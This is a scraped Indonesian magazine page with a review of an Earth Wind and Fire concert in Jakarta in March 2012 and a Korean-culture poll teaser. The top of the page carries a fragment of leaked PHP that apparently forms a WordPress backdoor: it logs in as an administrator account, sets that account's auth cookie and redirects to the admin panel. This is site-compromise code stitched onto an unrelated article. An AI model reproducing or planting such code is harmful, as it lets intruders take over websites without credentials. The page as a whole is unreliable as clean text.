user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Konser Nostalgia Earth Wind and Fire

29 Mar 2012

‘Dance boogie wonderland, hey hey… Dance boogie wonderland…’ Alunan vokal Peter Bailey, Ralph Johnson, dan Verdine White—yang juga asyik memetik basnya—membuka konser Earth Wind and Fire di Tennis Indoor, Jakarta, 28 Maret 2012, malam.  Lebih dari 3.500 penonton yang memenuhi gedung Tennis Indoor pun sontak melompat, bertepuk tangan, dan bergoyang, sambil ikut bernyanyi.

Aura nostalgia era 70 hingga 80-an pun menyelimuti Jakarta malam itu. Namun, meski grup band ini terlahir 40 tahun silam, mereka tidak pernah terdengar tua. Kostum dan gaya panggung mereka boleh terkesan jadul, tapi energi yang terpancar dari aksi mereka justru begitu menyegarkan. “Seperti red wine, semakin tua, penampilan Peter justru semakin baik,” puji Ralph.

Memang, teknik falsetto Peter yang khas terdengar sangat prima. Usia rupanya tak membuat ketiga pentolan asli Earth Wind and Fire—Peter, Ralph, dan Verdine—itu mengendurkan stamina dan musikalitas mereka. Tak kalah dengan 9 pemain pendukung lainnya yang mayoritas masih muda, salah satunya adalah anak Peter, Philip Doron Bailey (backing vocal dan perkusi).

Advertisement
“Saya dan suami pernah nonton mereka di Java International Jazz Festival tahun 2005. Waktu itu, kami masih pacaran. Nostalgia banget, deh, rasanya,” cetus Desti (32), marketing manager, yang juga menonton bersama kedua orang tuanya. Dugaan bahwa konser Earth Wind and Fire malam itu akan dipenuhi generasi yang menghabiskan masa remaja di tahun 80-an tertepis. Di antara pasangan usia matang, terdapat generasi muda usia 20-an yang juga terlihat terlarut dalam irama funk, jazz, soul, dan rock, ciri khas band ini.

Dari 19 tembang yang dibawakan malam itu, lagu-lagu hits mereka seperti Got to Get You, Fantasy, September, dan Let’s Groove yang dibawakan medley di paruh akhir konser, sukses membuat penonton yang duduk di tribun berdiri dan bergoyang hingga konser berakhir. Rasanya, penonton Indonesia jarang sekali terlihat sekspresif ini. Teriakan ‘more, more, more’ pun diserukan penonton ketika mereka masuk ke backstage usai lagu Mighty Mighty. Kejutan yang sudah bisa ditebak, mereka kembali ke atas panggung dan membawakan In The Stone yang menjadi puncak kemeriahan malam itu.
 
Eka Januwati
Foto: Eka




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?